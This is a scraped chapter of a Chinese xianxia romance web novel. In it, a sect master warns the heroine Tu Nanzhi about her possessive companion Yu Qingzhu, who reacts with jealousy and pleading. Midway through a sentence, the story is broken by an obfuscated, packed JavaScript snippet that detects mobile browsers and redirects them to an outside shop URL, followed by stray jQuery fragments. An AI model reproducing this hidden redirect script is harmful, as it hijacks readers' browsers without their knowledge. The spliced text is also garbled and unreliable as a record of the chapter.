默认冷灰
24号文字
方正启体

7. 主与仆

作者:笑风流本书字数:K更新时间:
    涂南枝推开门,第一眼先看向虞青竹,瞧见他站得好好的身上没多出什么伤口,这才松了口气,把目光转向她此时名义上的师父,流云宗的宗主。


    视线触及天机道人散开的衣襟的时候,涂南枝愣了一下,不由得想,这宗主不愧是宗主,头发花白,身子倒是康健,和寻常青年人别无二致,倒是挺会保养。


    要是他把这保养的功夫花在脸上,说不定要年轻多少。


    这般想着,涂南枝看着天机道人都觉得他比方才见面之时年轻许多,头发都没有那么灰白了,精神劲头不知好上多少。


    感觉从八十岁回到了五十岁。


    是她的错觉吗?一瞬间返老还童,还是在和虞青竹聊天之后?


    正常人和虞青竹说话不应该是被气个半死吗?要不然她也不至于火急火燎赶过来,就是不想自己刚刚拜的师父成为下一个大师兄。


    涂南枝还想再多看几眼天机道人,虞青竹手指勾着她的手腕,上前一步,挡住了涂南枝的视线,很是不高兴地开口:“别看他了,都糟老头子了,没什么好看的。”


    与此同时,虞青竹给天机道人传了密音,恶狠狠地在天机道人脑海中咆哮:“把你衣服穿好!既然都选择装老头子就端庄些!别做这些为老不尊的事情,是要勾引谁呢!”


    天机道人脑子里犹如天雷炸过,一片废墟,万千心绪交织在一起,一时无言以对。


    他活了三百余年,从未想过,竟然有一天还会被人指着鼻子骂为老不尊,蓄意勾引女修。


    更没想到这个人是他亲自批命的无情道剑君。


    前一刻虞青竹还跟颗捂不热的石头一般,眉眼里尽是冰冷杀意,任凭他说破嘴皮子都不回一句,淡漠无情到了极点。


    涂南枝推门进来,他亲眼见着虞青竹眉眼里的冰雪光速消散了,活生生像是变了一个人般,又扯着小姑娘的衣袖撒娇,又在他脑海里破口大骂。


    活了三百年,天机道人自认见过世间众生百态,但也不免为虞青竹变化之快,前后差距之大而震惊。


    他本来还好奇虞青竹为什么要放弃无情道,现在不用问也知道了。


    呵,爱情。


    原本天机道人还以为涂南枝是虞青竹遮掩身份用的一个幌子,现在意识到她和虞青竹之间不似作伪之后不由得朝涂南枝投去钦佩的一眼。


    是何等的心性,才能忍得下这样一个杀人如麻脾气乖戾的人在枕边安睡。


    不说根骨修为,光凭这份忍耐,此女必成大器!


    “小徒弟,我观你根骨绝佳,以后必定大有所为。为师有一句话赠你,你可愿意上前一听?”天机道人系好衣襟上的带子,把发须变成灰白色,端正坐姿,摆出一副仙风鹤骨的姿态朝涂南枝微笑着招手。


    他是打不过虞青竹这个怪胎,但膈应一下总是可以的。


    虞青竹眯了眯眼,自从天机道人喊涂南枝小徒弟的那一刻就杀心暴起,面色铁青,死死地拽住了涂南枝的衣角,想拉着她往外走,眼不见为净,“别听他的,一把年纪了,脑子糊涂了都。”


    他话还没有说完,涂南枝就跳起来捂住了他的嘴,在他耳边低喝:“你今天到底怎么了?是要把所有人都得罪光吗!虞青竹,要我说多少遍,你现在是个病人,重伤未愈,就别作死了!你想死我还不想死呢!”


    虞青竹抿了抿唇,恨不得现在就拔剑出鞘证明一下自己的实力。


    但他一旦证明自己好转,涂南枝也不会再这么关心他了,怕是迅速就会把他丢开,对他恢复从前那种惧畏逃避的态度。


    他喜欢现在这样的涂南枝,对他大呼小叫,会拧着他的耳朵骂他,也会跳到他身上抱着他颐指气使地撒娇,完全地把他当成她的所有物,大大咧咧地袒露出肚皮,给他展示悲欢喜怒。


    天机道人把一切看在眼里,涂南枝的威胁和关心,虞青竹的拘束和纠结,恍然大悟。


    他朝涂南枝再度招了招手,用了术法隔绝二人的谈话,在涂南枝俯身上前时笑着问她:“你来修仙,是不是想治好他?”


    涂南枝登时眼睛睁大了,瞳孔震颤,下意识地想否认,看了虞青竹一眼又迅速扭回头,“没有,不是这样的。”


    想起云薇师姐也有同样的误解,以为他们二人是对爱侣,涂南枝顿时脸涨成了番茄色,“我,我跟他不是道侣,也不是夫妻,就是仇人。”


    天机道人眉头一挑,“抱在一起的仇人?担心我教训他所以急急忙忙跑过来看他的仇人?”


    涂南枝想反驳,但又不知道怎么反驳,又羞又急,眼睛里荡着泪珠。


    她怎么可能和虞青竹是那种关系呢。


    不可能的呀。


    她只是要报复他,要欺负他,只是不允许他死在别人手里,要他吃吃自己以前的苦头而已。


    怎么会变成这样。


    天机道人看她哭出来了,生出恻隐之心,也不继续逗她,“好了好了,为师只是跟你开个玩笑。”


    “既然你我已是师徒,我也不能眼睁睁看着你走歪路。”天机道人脸色严肃起来,看了不远处的虞青竹一眼。


    从他设下这个隔音结界开始,虞青竹一直在用剑气攻击结界,剑气一道比一道凶猛,杀气一道比一道重。


    只是因为涂南枝在结界里,虞青竹才收敛着,把力度控制在不让她察觉的范围之内,即便如此,还是对设下结界的天机道人造成了不轻的冲击。


    现在天机道人就感觉虞青竹的剑气隔着结界横冲直撞地朝着他一剑又一剑地刺着,仿佛毫无理智的野兽在撕咬和咆哮,不许他染指面前的少女,连说一句话也是天大的过错。


    又是一道罡烈剑气劈在结界上,天机道人感觉心肺被隔空打了一拳,几欲吐血,那结界也几欲碎裂。


    在虞青竹彻底摧毁结界之前,天机道人对着涂南枝说出了自己的劝告。


    “他性格上的病症比身体上的严重数倍,如今已是病入膏肓,无药可救,迟早有一天他会变得与野兽无异,你如果继续留在他身边,无论是什么身份,最后都只会是他的腹中餐。”


    此话说完,天机道人设下的隔音结界彻底碎裂,消散殆尽。


    天机道人喉间猛然涌上一口血,强行咽了下去,抬头看了虞青竹一眼,只见他那一双漆黑的眼眸中尽是一片森然死气和杀意。


    对于涂南枝而言,不过是一缕清风吹过她的耳畔,带着微微凉意,而后便消散了。


    她不知道天机道人设下隔音结界的警惕与提防,也不知道虞青竹在身后一直用剑气去劈碎她与天机道人的独处。


    在她眼里,这句提醒也不过是一个前辈的善意,再没有其他。


    涂南枝朝天机道人道了一声谢,约定后面再来看他,拉着虞青竹走出了大殿。


    天机道人瞬间松了一口气,在他们走出去的顺间瘫倒在地上,知道自己这死劫算是勉强过了。


    虞青竹满是不高心,手指去勾她的手指,被她一次次拍开,几乎要发疯,但又怕她讨厌,强行忍着心中的烦躁戾气,软着嗓子跟她商量,“南枝,我们回家好不好。你想学什么我教你,这里又穷又破落,没什么前途,一个个根本算不上仙人的,他们压根教不了你什么,回去好不好,你想学什么我都给你找来。”


    涂南枝脑子里正乱,风正清的破口大骂,流云宗众人惊讶的眼光,云薇师姐温柔的劝诫,天机道人慈祥的劝告,齐齐交织在一起,在她的脑子里响个不停。


    虞青竹又一次缠上来,涂南枝下了狠心,把他推开,后退了一大步,抿着唇,开口跟他划清界限,“虞青竹,这样是不对的。”


    虞青竹顿时心中一紧,感觉一盆刺骨冷水直直浇入


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165261|196680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他五脏六腑。


    他尚未问什么,涂南枝低眉开了口,“师姐都告诉我了,什么是道侣,修仙界的仆人是什么,正常人应该怎么相处。”


    虞青竹感觉天地此刻都失了颜色,一切声音远去,所有的东西都变得黯淡,唯有面前的少女低眉颔首,平静地将他推向死亡。


    “我们应该保持距离。我现在知道了,讨厌的人是不会牵手睡觉拥抱的,更不会脱了衣服做那种事情,只有道侣才能这样做,我们不是道侣,不应该这样。”


    涂南枝看着远处的山峦,没有去看虞青竹,也就没看见他脚下土地在夏日硬生生结了冰,那蓝白色的冰霜沿着他的踝足一路往上,寸寸覆盖他的皮肤,他的发丝,他的眼睫。


    后悔带她下山没有任何意义,虞青竹看着涂南枝面上的犹豫,知道这是他最后的机会了。


    错过此刻,他就再没了站在她身边的理由,连做个仆人也只能遥遥看她一眼。


    换了旁人或许会去纠正他们的关系不止是讨厌的人不仅是仇人,会声声泣血地问涂南枝从前拥抱亲吻和缠绵的时候她难道没有一丝的欢愉和留念。


    但是虞青竹没法这样做,当他选择在涂南枝尚且懵懂不开窍的时候选择诱哄她,去勾引她,让她来找自己试试话本中的销魂滋味的时候,他就失去了日后问她的资格。


    因为是他自己亲口说这些无关紧要,许她随心所欲,放纵她享乐,又隔绝了所有的世俗,养育了她堪称残忍的天真愚钝。


    所以他只能咽下这亲手酿成的苦果,站在萧瑟冷风中,脸色苍白地发出无力的辩驳:“南枝,你宁可信只见过一面的人也不肯信我吗?他们说主仆之间不能这样,只有道侣才能这样,你就不许我近身。他们要是说我以下犯上该死,你是要现在杀了我吗?他们说我低贱恶劣会为祸人间,你会现在让我魂飞魄散永世不得超生吗?”


    涂南枝怔愣一瞬,不知道他为什么突然说到这些,更巧合的是,他口中的贬低跟天机道人刚刚的警示有些异曲同工之妙。


    以至于涂南枝第一反应不是否认,而是想着他是不是都听到了,听到了多少。


    她这短暂的沉默犹如一把利刃将虞青竹整个人剖开,逸散的真气钻入心肺,五脏六腑仿佛都流淌开来,破碎着,作着疼。


    虞青竹朝涂南枝笑起来,眼角淌下泪来,因着皮肤上的冰寒真气,眼泪尚未落下便结了冰,挂在他眼下,亮晶晶的一点,映着日光。


    他整个人披着一层薄薄的冰霜,像是烈日下的冰雕一般,漂亮易碎,缓慢地消融解体,飘出的丝丝寒气都带着些许的悲壮,看得人心疼不已。


    涂南枝摸着腰间流云宗的弟子腰牌,不知道为什么自己心中难受。


    她知道虞青竹死不了,虞青竹可能在演戏。


    就算他是真的在哭,他们互相讨厌,她也应该庆幸。从前他也不知道把她欺负哭了多少回,他哭一回也没什么大不了,无非比她更华丽些。


    她拜了仙门,有了平易近人的师父和师姐,有了自力更生的法子,有了摆脱虞青竹纠缠的正当理由。


    只要她继续拒绝,转身离开,她就能摆脱虞青竹数年的纠缠和经年不熄的炽热欲望,拥有一片正常人的广阔天地。


    哪怕此刻虞青竹强留,她捏碎腰牌,云薇师姐也会前来救她,反正虞青竹此刻是个废人了,一吹就倒的,以后会老会死的废人。


    涂南枝看着地面上的冰霜从虞青竹脚下蔓延到自己的脚尖前,像是一双无形的手,要把她拉向名为虞青竹的深渊。


    “虞青竹,你想多了,没人说你低贱恶劣,我也没想着杀你。师姐只是说仆人这个词不能乱说而已。”


    虞青竹看着她,丝毫不为所动,“那你今晚还会和我一起吗?”


    涂南枝抿了抿唇,“我今天要去找师姐。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)